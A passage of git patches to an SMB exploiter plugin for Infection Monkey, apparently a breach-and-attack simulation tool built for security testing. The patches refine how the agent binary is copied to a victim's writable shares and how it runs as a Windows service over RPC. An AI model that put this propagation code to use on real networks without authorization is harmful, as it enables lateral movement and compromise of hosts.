PurePath, tags: MutableSet[str]): + self._destination_path = destination_path map(tags.add, (T1021_ATTACK_TECHNIQUE_TAG, T1210_ATTACK_TECHNIQUE_TAG)) self._smb_client.query_server_info() tags.add(T1135_ATTACK_TECHNIQUE_TAG) - shares = self._query_shares(destination_path) - for remote_path, share in self._connected_shares(shares): - logger.debug( - f"Trying to copy monkey file to share '{share.name}' " - f"[{share.path}{remote_path}] on victim {self._host}" - ) + + logger.debug( + f"Trying to copy monkey file to " f"[{destination_path}] on victim {self._host}" + ) + + # 1. I accept a local path + # 2. I query for shares on the remote machine + # 3. I check to see if the local path is a subpath of any of the shares + # a. If it is, I copy the file to the share + for share in self._query_shares(destination_path): + if not str(destination_path).lower().startswith(share.path.lower()): + continue try: - if not self._smb_client.connected(): - raise RemoteFileCopyError("Not authenticated") + self._connect_to_share(share) file_io = BytesIO(file) self._smb_client.set_timeout(self._options.agent_binary_upload_timeout) tags.add(T1105_ATTACK_TECHNIQUE_TAG) - self._smb_client.send_file(share.name, remote_path, file_io.read) + + self._smb_client.send_file(share.name, share.path, file_io.read) logger.info( f"Copied monkey agent to remote share '{share.name}' " @@ -132,7 +140,7 @@ def copy_file(self, file: bytes, destination_path: PurePath, tags: MutableSet[st ) self._copied_file_details = CopiedFileDetails( - PurePath(ntpath.join(share.path, remote_path.strip(ntpath.sep))), + # PurePath(ntpath.join(share.path, destination_path.strip(ntpath.sep))), destination_path, ) return @@ -142,22 +150,30 @@ def copy_file(self, file: bytes, destination_path: PurePath, tags: MutableSet[st ) logger.error(error_message) raise RemoteFileCopyError(error_message) - raise RemoteFileCopyError("Failed to connect to any share") + raise RemoteFileCopyError("No writable shares found") def get_writable_paths(self) -> List[PurePath]: + # 1. I query for shares on the remote machine + # 2. I output the local paths for each share + if self._destination_path: + logger.debug("Retrieving writable paths") + + writable_paths = [ + PurePath(info.path) for info in self._query_shares(self._destination_path) + ] + logger.debug(writable_paths) + return writable_paths return [] - def _query_shares(self, path: PurePath) -> Tuple[Tuple[str, ShareInfo], ...]: + def _query_shares(self, path: PurePath) -> Tuple[ShareInfo, ...]: """ Queries the host for SMB shares. - :param host: A target host on which we query for SMB shares :param path: An SMB shares path :return: A tuple consisting of share name and info pairs """ - high_priority_shares: Tuple[Tuple[str, ShareInfo], ...] = () - low_priority_shares: Tuple[Tuple[str, ShareInfo], ...] = () - file_name = path.name + high_priority_shares: Tuple[ShareInfo, ...] = () + low_priority_shares: Tuple[ShareInfo, ...] = () for share in self._smb_client.query_shared_resources(): if share.current_uses >= share.max_uses: @@ -173,40 +189,37 @@ def _query_shares(self, path: PurePath) -> Tuple[Tuple[str, ShareInfo], ...]: ) continue + logger.debug(f"Share name: {share.name}, path: {share.path}") if str(path).lower().startswith(share.path.lower()): - high_priority_shares += ((ntpath.sep + str(path)[len(share.path) :], share),) + high_priority_shares += (share,) - low_priority_shares += ((ntpath.sep + file_name, share),) + low_priority_shares += (share,) return high_priority_shares + low_priority_shares - def _connected_shares( - self, shares: Tuple[Tuple[str, ShareInfo], ...] - ) -> Iterator[Tuple[str, ShareInfo]]: + def _connect_to_share(self, share: ShareInfo): """ - Gets SMB connected share on target host + Gets the SMB share - :param host: A target host on which we connect to SMB shares - :param shares: Queried SMB shares from target host - :return: A tuple of connected shares, path and info + :param share: The share to connect to + :raise Exception: If the share cannot be connected to """ - for remote_path, share in shares: - # TODO: Do we really need to handle reconnects? + # TODO: Do we really need to handle reconnects? + if not self._smb_client.connected(): + if not self._authenticated_credentials: + raise RemoteFileCopyError("Not authenticated") + with suppress(Exception): + self._smb_client.connect_with_user(self._host, self._authenticated_credentials) if not self._smb_client.connected(): - if not self._authenticated_credentials: - break - with suppress(Exception): - self._smb_client.connect_with_user(self._host, self._authenticated_credentials) - if not self._smb_client.connected(): - break - - try: - self._smb_client.connect_to_share(share.name) - except Exception as exc: - logger.error( - f'Error connecting tree to share "{share.path}" on victim {self._host}: {exc}' - ) - continue + raise RemoteFileCopyError("Not connected") - yield remote_path, share + # TODO: Get share name from path + logger.debug("Connected to victim") + try: + self._smb_client.connect_to_share(share.name) + except Exception as err: + logger.error( + f'Error connecting tree to share "{share.path}" on victim {self._host}: {err}' + ) + raise RemoteFileCopyError(err) diff --git a/monkey/infection_monkey/exploit/tools/brute_force_exploiter.py b/monkey/infection_monkey/exploit/tools/brute_force_exploiter.py index bec9bf92737..963521cd730 100644 --- a/monkey/infection_monkey/exploit/tools/brute_force_exploiter.py +++ b/monkey/infection_monkey/exploit/tools/brute_force_exploiter.py @@ -166,16 +166,17 @@ def _copy_agent_binary( agent_binary_bytes = agent_binary.getvalue() with suppress(RemoteFileCopyError): - logger.debug(f"Attemping to copy agent binary to {destination}") + logger.debug(f"Attempting to copy agent binary to {destination}") exploit_client.copy_file(agent_binary_bytes, destination, tags) return destination other_destinations = exploit_client.get_writable_paths() for other_destination in interruptible_iter(other_destinations, interrupt): + destination_path = other_destination / destination.name with suppress(RemoteFileCopyError): - logger.debug(f"Attemping to copy agent binary to {other_destination}") - exploit_client.copy_file(agent_binary_bytes, other_destination, tags) - return other_destination + logger.debug(f"Attempting to copy agent binary to {destination_path}") + exploit_client.copy_file(agent_binary_bytes, destination_path, tags) + return destination_path raise RemoteFileCopyError("Failed to copy file") From 821e72d7d2640f3ed6383241956d93d8227fb971 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Tue, 21 Mar 2023 20:43:20 +0000 Subject: [PATCH 0828/1338] SMB: Log connection failure --- .../exploiters/smb/src/smb_exploit_client.py | 26 ++++++++++--------- 1 file changed, 14 insertions(+), 12 deletions(-) diff --git a/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py b/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py index fbf6788bce7..3810883a4e6 100644 --- a/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py +++ b/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py @@ -1,7 +1,6 @@ import logging # import ntpath -from contextlib import suppress from io import BytesIO from pathlib import PurePath from typing import List, MutableSet, Optional, Tuple @@ -115,7 +114,7 @@ def copy_file(self, file: bytes, destination_path: PurePath, tags: MutableSet[st tags.add(T1135_ATTACK_TECHNIQUE_TAG) logger.debug( - f"Trying to copy monkey file to " f"[{destination_path}] on victim {self._host}" + f"Trying to copy monkey file to " f"[{destination_path}] on victim {self._host.ip}" ) # 1. I accept a local path @@ -136,7 +135,7 @@ def copy_file(self, file: bytes, destination_path: PurePath, tags: MutableSet[st logger.info( f"Copied monkey agent to remote share '{share.name}' " - f"[{share.path}] on victim {self._host}" + f"[{share.path}] on victim {self._host.ip}" ) self._copied_file_details = CopiedFileDetails( @@ -144,9 +143,10 @@ def copy_file(self, file: bytes, destination_path: PurePath, tags: MutableSet[st destination_path, ) return - except Exception as exc: + except Exception as err: error_message = ( - f"Error uploading monkey to share '{share.name}' on victim {self._host}: {exc}" + f"Error uploading monkey to share '{share.name}'" + f"on victim {self._host.ip}: {err}" ) logger.error(error_message) raise RemoteFileCopyError(error_message) @@ -179,13 +179,13 @@ def _query_shares(self, path: PurePath) -> Tuple[ShareInfo, ...]: if share.current_uses >= share.max_uses: logger.debug( f"Skipping share '{share.name}' on victim " - f"{self._host} because max uses is exceeded", + f"{self._host.ip} because max uses is exceeded", ) continue elif not share.path: logger.debug( f"Skipping share '{share.name}' on victim " - f"{self._host} because share path is invalid", + f"{self._host.ip} because share path is invalid", ) continue @@ -209,10 +209,12 @@ def _connect_to_share(self, share: ShareInfo): if not self._smb_client.connected(): if not self._authenticated_credentials: raise RemoteFileCopyError("Not authenticated") - with suppress(Exception): - self._smb_client.connect_with_user(self._host, self._authenticated_credentials) - if not self._smb_client.connected(): - raise RemoteFileCopyError("Not connected") + try: + self._smb_client.connect_with_user( + self._host, self._authenticated_credentials, self._options.smb_connect_timeout + ) + except Exception as err: + raise RemoteFileCopyError(f"Not connected: {err}") # TODO: Get share name from path logger.debug("Connected to victim") @@ -220,6 +222,6 @@ def _connect_to_share(self, share: ShareInfo): self._smb_client.connect_to_share(share.name) except Exception as err: logger.error( - f'Error connecting tree to share "{share.path}" on victim {self._host}: {err}' + f'Error connecting tree to share "{share.path}" on victim {self._host.ip}: {err}' ) raise RemoteFileCopyError(err) From 42d534cd3d036191c1e325d9f9d8669503f25f59 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Tue, 21 Mar 2023 21:20:45 +0000 Subject: [PATCH 0829/1338] SMB: Build windows destination path --- .../exploiters/smb/src/smb_exploit_client.py | 19 +++++++++---------- .../exploit/tools/brute_force_exploiter.py | 1 + 2 files changed, 10 insertions(+), 10 deletions(-) diff --git a/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py b/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py index 3810883a4e6..9ec41e024ea 100644 --- a/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py +++ b/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py @@ -2,7 +2,7 @@ # import ntpath from io import BytesIO -from pathlib import PurePath +from pathlib import PurePath, PureWindowsPath from typing import List, MutableSet, Optional, Tuple from common import OperatingSystem @@ -114,7 +114,7 @@ def copy_file(self, file: bytes, destination_path: PurePath, tags: MutableSet[st tags.add(T1135_ATTACK_TECHNIQUE_TAG) logger.debug( - f"Trying to copy monkey file to " f"[{destination_path}] on victim {self._host.ip}" + f"Trying to copy monkey file to [{destination_path}] on victim {self._host.ip}" ) # 1. I accept a local path @@ -125,13 +125,15 @@ def copy_file(self, file: bytes, destination_path: PurePath, tags: MutableSet[st if not str(destination_path).lower().startswith(share.path.lower()): continue + clean_destination = PureWindowsPath(str(destination_path)[len(share.path) :]) + logger.debug(f"Clean destination: {clean_destination}") try: self._connect_to_share(share) file_io = BytesIO(file) self._smb_client.set_timeout(self._options.agent_binary_upload_timeout) tags.add(T1105_ATTACK_TECHNIQUE_TAG) - self._smb_client.send_file(share.name, share.path, file_io.read) + self._smb_client.send_file(share.name, str(clean_destination), file_io.read) logger.info( f"Copied monkey agent to remote share '{share.name}' " @@ -140,12 +142,12 @@ def copy_file(self, file: bytes, destination_path: PurePath, tags: MutableSet[st self._copied_file_details = CopiedFileDetails( # PurePath(ntpath.join(share.path, destination_path.strip(ntpath.sep))), - destination_path, + clean_destination, ) return except Exception as err: error_message = ( - f"Error uploading monkey to share '{share.name}'" + f"Error uploading monkey to share '{share.name}' " f"on victim {self._host.ip}: {err}" ) logger.error(error_message) @@ -159,9 +161,9 @@ def get_writable_paths(self) -> List[PurePath]: logger.debug("Retrieving writable paths") writable_paths = [ - PurePath(info.path) for info in self._query_shares(self._destination_path) + PurePath(PureWindowsPath(info.path)) + for info in self._query_shares(self._destination_path) ] - logger.debug(writable_paths) return writable_paths return [] @@ -189,7 +191,6 @@ def _query_shares(self, path: PurePath) -> Tuple[ShareInfo, ...]: ) continue - logger.debug(f"Share name: {share.name}, path: {share.path}") if str(path).lower().startswith(share.path.lower()): high_priority_shares += (share,) @@ -216,8 +217,6 @@ def _connect_to_share(self, share: ShareInfo): except Exception as err: raise RemoteFileCopyError(f"Not connected: {err}") - # TODO: Get share name from path - logger.debug("Connected to victim") try: self._smb_client.connect_to_share(share.name) except Exception as err: diff --git a/monkey/infection_monkey/exploit/tools/brute_force_exploiter.py b/monkey/infection_monkey/exploit/tools/brute_force_exploiter.py index 963521cd730..9d3a43ef0a0 100644 --- a/monkey/infection_monkey/exploit/tools/brute_force_exploiter.py +++ b/monkey/infection_monkey/exploit/tools/brute_force_exploiter.py @@ -171,6 +171,7 @@ def _copy_agent_binary( return destination other_destinations = exploit_client.get_writable_paths() + logger.debug(f"Using file name: {destination.name}") for other_destination in interruptible_iter(other_destinations, interrupt): destination_path = other_destination / destination.name with suppress(RemoteFileCopyError): From 12456408d255fc43eb1f9787f0498d581f50f5b6 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Wed, 22 Mar 2023 02:50:02 +0000 Subject: [PATCH 0830/1338] SMB: Return RPC connection from _rpc_connect --- .../exploiters/smb/src/smb_client.py | 27 +++++++++++-------- 1 file changed, 16 insertions(+), 11 deletions(-) diff --git a/monkey/agent_plugins/exploiters/smb/src/smb_client.py b/monkey/agent_plugins/exploiters/smb/src/smb_client.py index 22b742bed01..ee1fa602a54 100644 --- a/monkey/agent_plugins/exploiters/smb/src/smb_client.py +++ b/monkey/agent_plugins/exploiters/smb/src/smb_client.py @@ -56,7 +56,7 @@ def __init__(self): def connected(self) -> bool: return self._smb_connection is not None and not self._smb_connection.isLoginRequired() - def connect_with_user(self, host: TargetHost, credentials: Credentials, timeout: int): + def connect_with_user(self, host: TargetHost, credentials: Credentials, timeout: float): """ Connect to target host SMB services using credentials @@ -77,6 +77,7 @@ def _get_smb_connection(self) -> SMBConnection: return self._smb_connection def _create_smb_connection(self, host: TargetHost): + """Connect to host over SMB. Raise Exception if connection fails""" try: self._smb_connection = SMBConnection( str(host.ip), str(host.ip), sess_port=445, preferredDialect=SMB_DIALECT @@ -117,7 +118,7 @@ def connect_to_share(self, share_name: str): Connects to a share on the remote host :param share_name: Name of SMB share - :raises Exception: If an error occured while connecting to share + :raises SessionError: If an error occurred while connecting to share """ self._get_smb_connection().connectTree(share_name) @@ -170,7 +171,7 @@ def run_service( host: TargetHost, ports_to_try: Sequence[NetworkPort], credentials: Credentials, - timeout: int, + timeout: float, ): """ Run a service on the remote host. @@ -220,7 +221,7 @@ def run_service( scmr.hRCloseServiceHandle(rpc, service_handle) @staticmethod - def _rpc_connect(host: TargetHost, port: NetworkPort, credentials: Credentials, timeout: int): + def _rpc_connect(host: TargetHost, port: NetworkPort, credentials: Credentials, timeout: float): """Connects to the remote host and returns the SMB connection""" rpc_transport = transport.DCERPCTransportFactory(f"ncacn_np:{host.ip}[\\pipe\\svcctl]") rpc_transport.set_connect_timeout(timeout) @@ -235,18 +236,22 @@ def _rpc_connect(host: TargetHost, port: NetworkPort, credentials: Credentials, ) rpc_transport.set_kerberos(False) - rpc = SMBClient._dce_rpc_connect(rpc_transport) - try: - smb = rpc.get_smb_connection() + rpc = SMBClient._dce_rpc_connect(rpc_transport) + smb = rpc_transport.get_smb_connection() smb.setTimeout(timeout) - return smb - except Exception as err: - logger.debug(f"An error occured while getting SMB connection: {str(err)}") return rpc + except Exception as err: + logger.debug(f"An error occurred while getting SMB connection: {err}") + + return None @staticmethod def _dce_rpc_connect(rpc_transport) -> DCERPC_v5: + """ + Establishes a DCE/RPC connection over a given transport stream + :raises Exception: If an error occurred while connecting to the remote host + """ rpc = rpc_transport.get_dce_rpc() try: rpc.connect() @@ -267,7 +272,7 @@ def send_file(self, share_name: str, path_name: str, callback): """ self._get_smb_connection().putFile(share_name, path_name, callback) - def set_timeout(self, timeout: int): + def set_timeout(self, timeout: float): """Set the connection timeout, in seconds""" if self._smb_connection is not None: self._smb_connection.setTimeout(timeout) From aefbadc7c2d74320a746958e008877a3d9b98f37 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 22 Mar 2023 09:18:30 -0400 Subject: [PATCH 0831/1338] SMB: Remove erronious check in SMBExploitClient.execute_detached() --- .../exploiters/smb/src/smb_exploit_client.py | 3 --- .../exploiters/smb/test_smb_exploit_client.py | 8 -------- 2 files changed, 11 deletions(-) diff --git a/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py b/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py index 9ec41e024ea..9426bec261b 100644 --- a/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py +++ b/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py @@ -90,9 +90,6 @@ def execute_detached(self, command: str, tags: MutableSet[str]): if not self._authenticated_credentials: raise RemoteCommandExecutionError("Not authenticated") - if not self._copied_file_details: - raise RemoteCommandExecutionError("File was not copied before executing it") - try: map(tags.add, EXECUTION_TAGS) self._smb_client.run_service( diff --git a/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_exploit_client.py b/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_exploit_client.py index 20ab7aefcf8..3de7b5ce392 100644 --- a/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_exploit_client.py +++ b/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_exploit_client.py @@ -75,14 +75,6 @@ def test_execute__fails_if_not_authenticated( smb_exploit_client.execute_detached(COMMAND, set()) -def test_execute__fails_if_file_not_copied( - smb_exploit_client: SMBExploitClient, -): - smb_exploit_client.login(FULL_CREDENTIALS[0], set()) - with pytest.raises(RemoteCommandExecutionError): - smb_exploit_client.execute_detached(COMMAND, set()) - - def test_execute__fails_if_command_not_executed( mock_smb_client: SMBClient, smb_exploit_client: SMBExploitClient, From d7a845aa04c7d00c3f20fdaad4210e052c373879 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 22 Mar 2023 09:42:44 -0400 Subject: [PATCH 0832/1338] UT: Fix test_exploit_host__copy_tries_other_paths() --- .../tools/test_brute_force_exploiter.py | 27 ++++++++++++------- 1 file changed, 17 insertions(+), 10 deletions(-) diff --git a/monkey/tests/unit_tests/infection_monkey/exploit/tools/test_brute_force_exploiter.py b/monkey/tests/unit_tests/infection_monkey/exploit/tools/test_brute_force_exploiter.py index 74c746c303b..71997017a51 100644 --- a/monkey/tests/unit_tests/infection_monkey/exploit/tools/test_brute_force_exploiter.py +++ b/monkey/tests/unit_tests/infection_monkey/exploit/tools/test_brute_force_exploiter.py @@ -1,6 +1,6 @@ from io import BytesIO from ipaddress import IPv4Address -from pathlib import PurePath +from pathlib import PurePath, PureWindowsPath from threading import Event from typing import Any, List, MutableSet from unittest.mock import MagicMock @@ -28,9 +28,13 @@ AGENT_ID = UUID("5536298a-c262-46b8-8c62-da3fceb24edf") CREDENTIALS: List[Credentials] = [] -DESTINATION_PATH = PurePath("destination_path") +DESTINATION_PATH = PureWindowsPath("C:\\Temp\\destination_path") EXPLOITER_NAME = "exploiter_name" -OTHER_PATHS = [PurePath("other_path1"), PurePath("other_path2"), PurePath("other_path3")] +OTHER_PATHS = [ + PureWindowsPath("C:\\other_path1"), + PureWindowsPath("C:\\other_path2"), + PureWindowsPath("C:\\other_path3"), +] TAGS = {"tag1"} COPY_TAGS = {"copy_tag1"} EXECUTE_TAGS = {"execute_tag1"} @@ -181,18 +185,18 @@ def test_exploit_host__copy_fails( assert not any(event.success for event in published_events if type(event) == PropagationEvent) -WRITABLE_PATH = PurePath("c:\\writable_path") +WRITABLE_PATH = PureWindowsPath("C:\\writable_path") WRITABLE_PATH_CANDIDATES = [ - PurePath("C:\\unwritable1"), - PurePath("C:\\unwritable2"), - PurePath("C:\\unwritable3"), + PureWindowsPath("C:\\unwritable1"), + PureWindowsPath("C:\\unwritable2"), + PureWindowsPath("C:\\unwritable3"), WRITABLE_PATH, - PurePath("C:\\unwritable4"), + PureWindowsPath("C:\\unwritable4"), ] def mock_copy_file(_: bytes, destination_path: PurePath, __: MutableSet[str]) -> None: - if destination_path == WRITABLE_PATH: + if WRITABLE_PATH in destination_path.parents: return raise RemoteFileCopyError() @@ -210,7 +214,10 @@ def test_exploit_host__copy_tries_other_paths( assert mock_exploit_client.get_writable_paths.called assert mock_exploit_client.copy_file.call_count == 5 - assert copy_file_called_with_paths == [DESTINATION_PATH, *WRITABLE_PATH_CANDIDATES[:-1]] + assert copy_file_called_with_paths == [ + DESTINATION_PATH, + *[p / DESTINATION_PATH.name for p in WRITABLE_PATH_CANDIDATES[:-1]], + ] assert result.exploitation_success assert result.propagation_success From 2a63ddb36f2d82cfd3333de896d05ac1719caf7a Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 22 Mar 2023 09:51:48 -0400 Subject: [PATCH 0833/1338] UT: Fix test_exploit_host__copy_tries_other_paths() --- .../exploit/tools/test_brute_force_exploiter.py | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) diff --git a/monkey/tests/unit_tests/infection_monkey/exploit/tools/test_brute_force_exploiter.py b/monkey/tests/unit_tests/infection_monkey/exploit/tools/test_brute_force_exploiter.py index 71997017a51..3115716e448 100644 --- a/monkey/tests/unit_tests/infection_monkey/exploit/tools/test_brute_force_exploiter.py +++ b/monkey/tests/unit_tests/infection_monkey/exploit/tools/test_brute_force_exploiter.py @@ -235,18 +235,19 @@ def __call__(self, *args: Any, **kwds: Any) -> Any: raise RemoteFileCopyError("Failed") -@pytest.mark.parametrize("path", OTHER_PATHS) +@pytest.mark.parametrize("expected_last_path", [p / DESTINATION_PATH.name for p in OTHER_PATHS]) def test_exploit_host__can_interrupt_while_trying_other_paths( brute_force_exploiter: BruteForceExploiter, mock_exploit_client: IRemoteAccessClient, - path: str, + expected_last_path: PurePath, ): my_interrupt = Event() - mock_exploit_client.copy_file = interrupt_at_path(my_interrupt, path) + mock_exploit_client.copy_file = interrupt_at_path(my_interrupt, expected_last_path) mock_exploit_client.get_writable_paths.return_value = OTHER_PATHS result = run_brute_force_exploiter(brute_force_exploiter, my_interrupt) - assert mock_exploit_client.copy_file.last_path == path + + assert mock_exploit_client.copy_file.last_path == expected_last_path assert not result.propagation_success From ba72e7ea21cb2d8fc8bf4ee717106025f3e1497d Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Wed, 22 Mar 2023 15:12:23 +0000 Subject: [PATCH 0834/1338] SMB: Handle ERROR_SERVICE_REQUEST_TIMEOUT error --- .../exploiters/smb/src/smb_client.py | 17 ++++++++++++----- 1 file changed, 12 insertions(+), 5 deletions(-) diff --git a/monkey/agent_plugins/exploiters/smb/src/smb_client.py b/monkey/agent_plugins/exploiters/smb/src/smb_client.py index ee1fa602a54..7c81dd9bf69 100644 --- a/monkey/agent_plugins/exploiters/smb/src/smb_client.py +++ b/monkey/agent_plugins/exploiters/smb/src/smb_client.py @@ -11,6 +11,9 @@ logger = logging.getLogger(__name__) +ERROR_SERVICE_REQUEST_TIMEOUT = 1053 +ERROR_SERVICE_EXISTS = 1073 + class ShareInfo: """Stores information about a SMB share""" @@ -205,7 +208,7 @@ def run_service( lpBinaryPathName=command, ) except scmr.DCERPCSessionError as err: - if err.error_code == 0x431: + if err.error_code == ERROR_SERVICE_EXISTS: logger.debug(f"Service '{service_name}' already exists, trying to start it") resp = scmr.hROpenServiceW(rpc, sc_handle, service_name) else: @@ -214,15 +217,19 @@ def run_service( service_handle = resp["lpServiceHandle"] try: scmr.hRStartServiceW(rpc, service_handle) - except Exception: - raise Exception("Failed to start the service") + except scmr.DCERPCSessionError as err: + # Since we're abusing the Windows SCM, we should expect ERROR_SERVICE_REQUEST_TIMEOUT + # because we're not running a real service, which would call + # StartServiceCtrlDispatcher() and prevent this error + if not err.error_code == ERROR_SERVICE_REQUEST_TIMEOUT: + raise Exception("Failed to start the service") finally: scmr.hRDeleteService(rpc, service_handle) scmr.hRCloseServiceHandle(rpc, service_handle) @staticmethod def _rpc_connect(host: TargetHost, port: NetworkPort, credentials: Credentials, timeout: float): - """Connects to the remote host and returns the SMB connection""" + """Connects to the remote host and returns the RPC connection""" rpc_transport = transport.DCERPCTransportFactory(f"ncacn_np:{host.ip}[\\pipe\\svcctl]") rpc_transport.set_connect_timeout(timeout) rpc_transport.set_dport(port) @@ -242,7 +249,7 @@ def _rpc_connect(host: TargetHost, port: NetworkPort, credentials: Credentials, smb.setTimeout(timeout) return rpc except Exception as err: - logger.debug(f"An error occurred while getting SMB connection: {err}") + logger.debug(f"An error occurred while getting RPC connection on port {port}: {err}") return None From 9fcb9ae2ffdf1ea1148458fc922a0b21f3e8305b Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 22 Mar 2023 12:06:59 -0400 Subject: [PATCH 0835/1338] UT: Replace mock_target_host() fixture with a variable --- .../exploiters/smb/test_smb_exploit_client.py | 10 +++------- 1 file changed, 3 insertions(+), 7 deletions(-) diff --git a/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_exploit_client.py b/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_exploit_client.py index 3de7b5ce392..c491880f436 100644 --- a/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_exploit_client.py +++ b/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_exploit_client.py @@ -28,6 +28,7 @@ ShareInfo("share2", "path2", current_uses=100, max_uses=100), ShareInfo("share3", "", current_uses=0, max_uses=10), ) +TARGET_HOST = TargetHost(ip=IPv4Address("1.1.1.1"), operating_system=OperatingSystem.WINDOWS) @pytest.fixture @@ -44,13 +45,8 @@ def mock_agent_binary_repository() -> IAgentBinaryRepository: @pytest.fixture -def mock_target_host() -> TargetHost: - return TargetHost(ip=IPv4Address("1.1.1.1"), operating_system=OperatingSystem.WINDOWS) - - -@pytest.fixture -def smb_exploit_client(mock_target_host, mock_smb_client) -> SMBExploitClient: - return SMBExploitClient(mock_target_host, SMBOptions(), mock_smb_client) +def smb_exploit_client(mock_smb_client) -> SMBExploitClient: + return SMBExploitClient(TARGET_HOST, SMBOptions(), mock_smb_client) def test_login__succeeds( From 4fe5376451a1d549ef1c02e0603938c1ab013fbc Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 22 Mar 2023 12:18:51 -0400 Subject: [PATCH 0836/1338] SMB: Use Set instead of MutableSet MutableSet does not provide update(), whereas Set is implicitly mutable and does provide update(). --- .../exploiters/smb/src/smb_exploit_client.py | 14 +++++++------- .../exploit/tools/i_remote_access_client.py | 8 ++++---- 2 files changed, 11 insertions(+), 11 deletions(-) diff --git a/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py b/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py index 9426bec261b..c826f0fdc09 100644 --- a/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py +++ b/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py @@ -3,7 +3,7 @@ # import ntpath from io import BytesIO from pathlib import PurePath, PureWindowsPath -from typing import List, MutableSet, Optional, Tuple +from typing import List, Optional, Set, Tuple from common import OperatingSystem from common.credentials import Credentials @@ -70,8 +70,8 @@ def __init__( self._smb_client = smb_client self._destination_path: Optional[PurePath] = None - def login(self, credentials: Credentials, tags: MutableSet[str]): - map(tags.add, LOGIN_TAGS) + def login(self, credentials: Credentials, tags: Set[str]): + tags.update(LOGIN_TAGS) try: self._smb_client.connect_with_user( @@ -86,12 +86,12 @@ def login(self, credentials: Credentials, tags: MutableSet[str]): def get_os(self) -> OperatingSystem: return OperatingSystem.WINDOWS - def execute_detached(self, command: str, tags: MutableSet[str]): + def execute_detached(self, command: str, tags: Set[str]): if not self._authenticated_credentials: raise RemoteCommandExecutionError("Not authenticated") try: - map(tags.add, EXECUTION_TAGS) + tags.update(EXECUTION_TAGS) self._smb_client.run_service( SERVICE_NAME, command, @@ -103,9 +103,9 @@ def execute_detached(self, command: str, tags: MutableSet[str]): except Exception as err: raise RemoteCommandExecutionError(err) - def copy_file(self, file: bytes, destination_path: PurePath, tags: MutableSet[str]): + def copy_file(self, file: bytes, destination_path: PurePath, tags: Set[str]): self._destination_path = destination_path - map(tags.add, (T1021_ATTACK_TECHNIQUE_TAG, T1210_ATTACK_TECHNIQUE_TAG)) + tags.update((T1021_ATTACK_TECHNIQUE_TAG, T1210_ATTACK_TECHNIQUE_TAG)) self._smb_client.query_server_info() tags.add(T1135_ATTACK_TECHNIQUE_TAG) diff --git a/monkey/infection_monkey/exploit/tools/i_remote_access_client.py b/monkey/infection_monkey/exploit/tools/i_remote_access_client.py index 62fa3fdfebb..1562f68b9a0 100644 --- a/monkey/infection_monkey/exploit/tools/i_remote_access_client.py +++ b/monkey/infection_monkey/exploit/tools/i_remote_access_client.py @@ -1,6 +1,6 @@ from abc import ABC, abstractmethod from pathlib import PurePath -from typing import Collection, MutableSet +from typing import Collection, Set from common import OperatingSystem from common.credentials import Credentials @@ -34,7 +34,7 @@ class IRemoteAccessClient(ABC): """An interface for clients that execute remote commands""" @abstractmethod - def login(self, credentials: Credentials, tags: MutableSet[str]): + def login(self, credentials: Credentials, tags: Set[str]): """ Establish an authenticated session with the remote host @@ -57,7 +57,7 @@ def get_os(self) -> OperatingSystem: pass @abstractmethod - def copy_file(self, file: bytes, dest: PurePath, tags: MutableSet[str]): + def copy_file(self, file: bytes, dest: PurePath, tags: Set[str]): """ Copy a file to the remote host @@ -80,7 +80,7 @@ def get_writable_paths(self) -> Collection[PurePath]: pass @abstractmethod - def execute_detached(self, command: str, tags: MutableSet[str]): + def execute_detached(self, command: str, tags: Set[str]): """ Execute a command on the remote host in a detached process From 2a4d2fd38c68e6f15024c09b503320dc1ba0bf97 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 22 Mar 2023 12:21:07 -0400 Subject: [PATCH 0837/1338] UT: Fix test_execute__fails_if_command_not_executed() --- .../agent_plugins/exploiters/smb/test_smb_exploit_client.py | 1 - 1 file changed, 1 deletion(-) diff --git a/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_exploit_client.py b/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_exploit_client.py index c491880f436..61d67aab938 100644 --- a/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_exploit_client.py +++ b/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_exploit_client.py @@ -77,7 +77,6 @@ def test_execute__fails_if_command_not_executed( ): mock_smb_client.run_service.side_effect = Exception("file") smb_exploit_client.login(FULL_CREDENTIALS[0], set()) - smb_exploit_client.copy_file(FILE, DESTINATION_PATH, set()) with pytest.raises(RemoteCommandExecutionError): smb_exploit_client.execute_detached(COMMAND, set()) From 8384cc8fb266d344ec248220c99ebb6ede4d5685 Mon Sep 17 